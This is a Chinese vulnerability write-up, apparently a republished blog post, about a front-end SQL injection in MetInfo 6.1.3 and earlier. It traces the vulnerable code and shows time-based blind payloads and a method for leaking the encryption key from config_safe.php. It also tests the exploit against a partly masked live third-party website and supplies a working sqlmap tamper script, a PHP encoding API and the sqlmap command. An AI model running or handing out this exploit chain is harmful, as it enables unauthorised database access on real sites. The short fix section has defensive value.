metinfo<=6.1.3前台SQL注入

栏目: 数据库 · 发布时间: 4年前

内容简介:metinfo<=6.1.3前台SQL注入需要会员权限对服务器版本有限制【PHP-TS】

metinfo<=6.1.3前台 SQL 注入

需要会员权限

对服务器版本有限制【PHP-TS】

0x01 前言

看到 某info <= 6.1.3前台getshell 后决定发出来 (里面没说前台注入啊【手动狗头】)

0x02 代码分析

定位到 /member/basic.php 文件,代码如下:

metinfo<=6.1.3前台SQL注入

看到这种样式的,我们就联想到了 MVC 框架,类似 TpCIYII ,不过这是metinfo内置的框架,框架目录主要位于 /app/system 中,每个文件夹都是一个家目录,我们主要定位到 /app/system/user/web/profile.class.php 中的 dosafety_emailadd 方法:

metinfo<=6.1.3前台SQL注入

metinfo<=6.1.3前台SQL注入

148 Line 使用global关键字引入全局变量$_M
149 Line判断外部传入的$_COOKIE or $_POST or $_GET参数p是否为真
150 Line加载了auth类并实例化赋值给$auth
151 Line将$_M['form']['p']传入auth类中的decode方法解密并赋值给$email
152 Line判断$email是否为真
153 Line将$_M['user']['id']、$email传入$this->userclass类中的editor_uesr_email方法

目前我们只需要看这么多就好啦!我们接着来分析这个 auth 类,定位到 /app/system/include/class/auth.class.php

metinfo<=6.1.3前台SQL注入

metinfo<=6.1.3前台SQL注入

metinfo<=6.1.3前台SQL注入

metinfo<=6.1.3前台SQL注入

176 Line使用global关键字将全局变量$_M引入到当前方法中
177 Line判断传入的参数$userid是否为假
180 Line将传入的参数$email传入到当前类中的get_user_by_email方法并判断返回值是否为真

进入 get_user_by_email 方法中:

metinfo<=6.1.3前台SQL注入

622 Line调用Load类中的静态方法is_plugin_exist判断doemail插件是否存在并将返回值赋予$isplugin
625 Line判断$isplugin是否为真
635 Line判断$emailres为真或者全等于NULL的情况下那么进入判断
636 Line调用当前类中的get_user_by_emailid静态方法

接着进入 get_user_by_emailid 静态方法:

metinfo<=6.1.3前台SQL注入

到这个方法之后,它直接将我们传入的 $email 拼接到了SQL语句中,从而产生了SQL注入

0x03 代码调试

dosafety_emailadd 方法中输入如下语句并且改变一下语句顺序:

metinfo<=6.1.3前台SQL注入

get_user_by_emailid 输入如下语句:

metinfo<=6.1.3前台SQL注入

接下来访问下url:

http://localhost:8081/member/basic.php?a=dosafety_emailadd

metinfo<=6.1.3前台SQL注入

可以看到程序成功将 123 拼接到了SQL语句中,哈哈,万事大吉,但是程序最终返回的仅仅是true or false所以这里我们要用到延时注入,最终Payload如下:

metinfo<=6.1.3前台SQL注入

再次访问

http://localhost:8081/member/basic.php?a=dosafety_emailadd

metinfo<=6.1.3前台SQL注入

五秒以上才反应过来,程序是不是有点傻哦!正应了我们的延时盲注,接着我们将这段加密输出了之后再整吧!

metinfo<=6.1.3前台SQL注入

再次访问

http://localhost:8081/member/basic.php?a=dosafety_emailadd

metinfo<=6.1.3前台SQL注入

接着访问:

http://localhost:8081/member/basic.php?a=dosafety_emailadd&p=f7d0QyEq6a5NyeiXr9%2BMf64AnQCUB6T1o8t0e5eJ2eyHrajOLzHX%2FOugywvVXSDmKIuR9pa9E2BmcV%2FcwaeQ5VMVwZaZ3ZPm7UEnPSjpXcLL%2BuhRntMMWop%2B49vcM9sIai4

metinfo<=6.1.3前台SQL注入

又是过了很久才出来。。。

0x04 漏洞复现

互联网 http://www.d******re.com

http://www.d******re.com/member/basic.php?a=dosafety_emailadd&p=f7d0QyEq6a5NyeiXr9%2BMf64AnQCUB6T1o8t0e5eJ2eyHrajOLzHX%2FOugywvVXSDmKIuR9pa9E2BmcV%2FcwaeQ5VMVwZaZ3ZPm7UEnPSjpXcLL%2BuhRntMMWop%2B49vcM9sIai4

metinfo<=6.1.3前台SQL注入

调试半天发现是key的问题 key在 /config/config_safe.php ,打开文件是这样的:

metinfo<=6.1.3前台SQL注入

就在这里我做了一个大胆的假设,直接访问然后审查元素看看被注释的东西是否存在

访问:

view-source:http://localhost:8081/config/config_safe.php

metinfo<=6.1.3前台SQL注入

这里是 PHP 版本的问题,在phpstudy中有两种大版本,PHP-nts(非线程安全)、PHP-ts(线程安全)

metinfo<=6.1.3前台SQL注入

nts版本的PHP会显示如下内容

metinfo<=6.1.3前台SQL注入

而ts版本如下:

metinfo<=6.1.3前台SQL注入

这就意味着这个洞只能用于ts版本了 各位师傅如果有什么新发现来讨论一波可好?

接着我们把auth这个类复制出来,我们应用到加密去:

metinfo<=6.1.3前台SQL注入

metinfo<=6.1.3前台SQL注入

这个类中我们需要修改两处才能正常使用:

8 Line $this->auth_key中的值替换成获取到的key
31 Line $key = md5($key);

Over,我们来看看实际站点能否获取到它的key:

view-source:http://www.d****re.com/config/config_safe.php

metinfo<=6.1.3前台SQL注入

把我用红色框框圈起来的放到需要替换key的那里去,接着实力化这个类,加密后再用url编码:

metinfo<=6.1.3前台SQL注入

metinfo<=6.1.3前台SQL注入

再访问:

http://www.d******e.com/member/basic.php?a=dosafety_emailadd&p=204eUixfyB1n2wh835QWkft%2F58n7Pbp2MgtdHLzL%2FCq55OGuDERix7KJfSE4dGNLKrCziXTr3U4GFyQi9LP1rLinR1JPFZWMASBEMQZ%2Fdrmg9eXwrzNkcmJWHn75LZpH3j6X

metinfo<=6.1.3前台SQL注入

至此漏洞利用结束

0x05 漏洞修复

对于这里的修复就比较好了,metinfo函数库已经很成熟了,比如 inject_check (存在被绕过风险)、 daddslashes

metinfo<=6.1.3前台SQL注入

0x06 temper编写

需要注意将SQLMAP传入的payload通过api接口返回加密后的字符串进行处理

#!/usr/bin/env python
"""
    Metinfo V6.1.3
"""
from lib.core.enums import PRIORITY
from sys import argv
import urllib2
__priority__ = PRIORITY.LOWEST

api_url = "http://localhost:8081/sqli.php?key=#1&encodestr=#2"
key_name = "/config/config_safe.php"
def dependencies():
    pass

def tamper(payload, **kwargs):
    global api_url
    url = argv[2].replace("/member/basic.php?a=dosafety_emailadd&p=*","")
    send_key(url)
    res = request(api_url.replace("#2",urllib2.quote("a.com' or username='test'"+payload)))
    if res["code"] == 200:
        return res["text"]

def send_key(url):
    global api_url,key_name
    res = request(url+key_name)
    if(res["code"] == 200):
        if(len(res["text"])>0):
            api_url = api_url.replace("#1",res["text"].replace("<?php/*","").replace("*/?>",""))
        else:
            print "[-] URL can not be used. "
            exit()

def request(url):
    request = urllib2.Request(url)
    request.add_header('Content-Type', 'application/x-www-form-urlencoded')
    response = urllib2.urlopen(request)
    return {"code":response.getcode(),"text":response.read()}

保存为py文件 供sqlmap调用

<?php
    //作为api,方便调用,over
class auth {

    public $auth_key;

    public function __construct($key) {
        $this->auth_key = $key;
    }

    public function decode($str, $key = ''){
        return $this->authcode($str, 'DECODE', $this->auth_key.$key);
    }

    public function encode($str, $key = '', $time = 0){
        return $this->authcode($str, 'ENCODE', $this->auth_key.$key, $time);
    }

    public function creatkey($length = '10'){
        $str="A2B3C4zD5yE6xF7wG8vH9uitJsKrLnMmNlPkQjRiShTgUfVeWdXcYbZa";
        $result="";
        for($i=0;$i<$length;$i++){
            $num[$i]=rand(0,25);
            $result.=$str[$num[$i]];
        }
        return $result;
    }

    public function authcode($string, $operation = 'DECODE', $key = '', $expiry = 0){
        $ckey_length = 4;  
        $key = md5($key);
        $keya = md5(substr($key, 0, 16));
        $keyb = md5(substr($key, 16, 16));
        $keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';
        $cryptkey = $keya.md5($keya.$keyc);
        $key_length = strlen($cryptkey);
        $string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;
        $string_length = strlen($string);
        $result = '';
        $box = range(0, 255);
        $rndkey = array();
        for($i = 0; $i <= 255; $i++) {
            $rndkey[$i] = ord($cryptkey[$i % $key_length]);
        }
        for($j = $i = 0; $i < 256; $i++) {
            $j = ($j + $box[$i] + $rndkey[$i]) % 256;
            $tmp = $box[$i];
            $box[$i] = $box[$j];
            $box[$j] = $tmp;
        }

        for($a = $j = $i = 0; $i < $string_length; $i++) {
            $a = ($a + 1) % 256;
            $j = ($j + $box[$a]) % 256;
            $tmp = $box[$a];
            $box[$a] = $box[$j];
            $box[$j] = $tmp;
            $result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));
        }

        if($operation == 'DECODE') {
            if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {
               return substr($result, 26);
            } else {
               return '';
            }
        }else{
            return $keyc.str_replace('=', '', base64_encode($result));
        }
    }

}
if(length(user())>=10,sleep(5),0);#"
    if(isset($_REQUEST["key"]) && !empty($_REQUEST["key"]))
    {
        $auth = new auth($_REQUEST["key"]);
    }
    else
    {
        exit("[-] Please input key.");
    }
    if(isset($_REQUEST["encodestr"]) && !empty($_REQUEST["encodestr"]))
    {
        // var_dump($auth->encode("aaa@aa.com' or username='username' and if(length(user())>=10,sleep(5),0);#"));
        // var_dump(urldecode($_REQUEST["encodestr"]));
        exit($auth->encode(urldecode($_REQUEST["encodestr"])));
    }
    else
    {
        exit("[-] Please enter encrypted string.");
    }
?>

保存为php文件 跑起来供上面的temper调用。(注意修改代码中的用户名为自己注册的用户名)

sqlmap:

sqlmap -u "http://localhost:8081/member/basic.php?a=dosafety_emailadd&p=*" --cookie "会员cookie" --tamper "Metinfo.py" --dbms "mysql" --technique "T"

metinfo<=6.1.3前台SQL注入

Over,剩下的自己琢磨。


以上就是本文的全部内容,希望本文的内容对大家的学习或者工作能带来一定的帮助,也希望大家多多支持 码农网

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

高扩展性网站的50条原则

高扩展性网站的50条原则

[美] Martin L. Abbott、[美]Michael T. Fisher / 张欣、杨海玲 / 人民邮电出版社 / 2012-6-3 / 35.00元

《高扩展性网站的50条原则》给出了设计高扩展网站的50条原则,如不要过度设计、设计时就考虑扩展性、把方案简化3倍以上、减少DNS查找、尽可能减少对象等,每个原则都与不同的主题绑定在一起。大部分原则是面向技术的,只有少量原则解决的是与关键习惯和方法有关的问题,当然,每个原则都对构建可扩展的产品至关重要。 主要内容包括: 通过克隆、复制、分离功能和拆分数据集提高网站扩展性; 采用横向......一起来看看 《高扩展性网站的50条原则》 这本书的介绍吧!

JSON 在线解析
JSON 在线解析

在线 JSON 格式化工具

Base64 编码/解码
Base64 编码/解码

Base64 编码/解码

XML 在线格式化
XML 在线格式化

在线 XML 格式化压缩工具